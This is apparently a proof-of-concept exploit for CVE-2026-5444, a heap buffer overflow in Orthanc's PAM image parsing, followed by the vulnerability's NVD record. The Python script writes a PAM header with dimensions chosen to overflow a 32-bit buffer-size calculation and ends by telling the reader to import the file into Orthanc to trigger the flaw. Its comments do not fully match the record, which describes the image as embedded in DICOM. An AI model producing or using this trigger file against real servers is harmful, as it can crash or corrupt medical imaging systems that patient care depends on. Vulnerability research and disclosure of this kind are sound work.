CVE-2026-5444

# Proof of Concept for CVE-2026-5444 # This script generates a crafted PAM file designed to trigger the integer overflow. import struct def create_malformed_pam(filename): # PAM Header format: P7\nWIDTH <w>\nHEIGHT <h>\nDEPTH 4\nMAXVAL 255\nTUPLTYPE RGB_ALPHA\nENDHDR\n # We aim for: width * height * 4 to overflow 32-bit integer. # Example: 0x10000000 * 0x10 = 0x100000000 (overflows to 0) width = 0x10000000 height = 0x10 depth = 4 header = f"P7\nWIDTH {width}\nHEIGHT {height}\nDEPTH {depth}\nMAXVAL 255\nTUPLTYPE RGB_ALPHA\nENDHDR\n" # Payload data (minimal to avoid huge file size, but loop will try to write width*height*depth bytes) # The actual exploit relies on the parser allocating based on the overflowed size (0) # but looping through width*height. payload = b"A" * 100 with open(filename, 'wb') as f: f.write(header.encode('ascii')) f.write(payload) print("Generating crafted PAM file...") create_malformed_pam("cve_2026_5444_exploit.pam") print("File created. Import this into Orthanc to trigger the vulnerability.")

{"cve": {"id": "CVE-2026-5444", "sourceIdentifier": "[email protected]", "published": "2026-04-09T15:16:16.760", "lastModified": "2026-04-14T20:20:10.767", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A heap buffer overflow vulnerability exists in the PAM image parsing logic. When Orthanc processes a crafted PAM image embedded in a DICOM file, image dimensions are multiplied using 32-bit unsigned arithmetic. Specially chosen values can cause an integer overflow during buffer size calculation, resulting in the allocation of a small buffer followed by a much larger write operation during pixel processing."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:orthanc-server:orthanc:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.12.11", "matchCriteriaId": "A259075D-8B77-4B04-BC42-3E5ABE9DFE1F"}]}]}], "references": [{"url": "https://kb.cert.org/vuls/id/536588", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://www.machinespirits.de/", "source": "[email protected]", "tags": ["Not Applicable"]}, {"url": "https://www.orthanc-server.com/", "source": "[email protected]", "tags": ["Product"]}]}}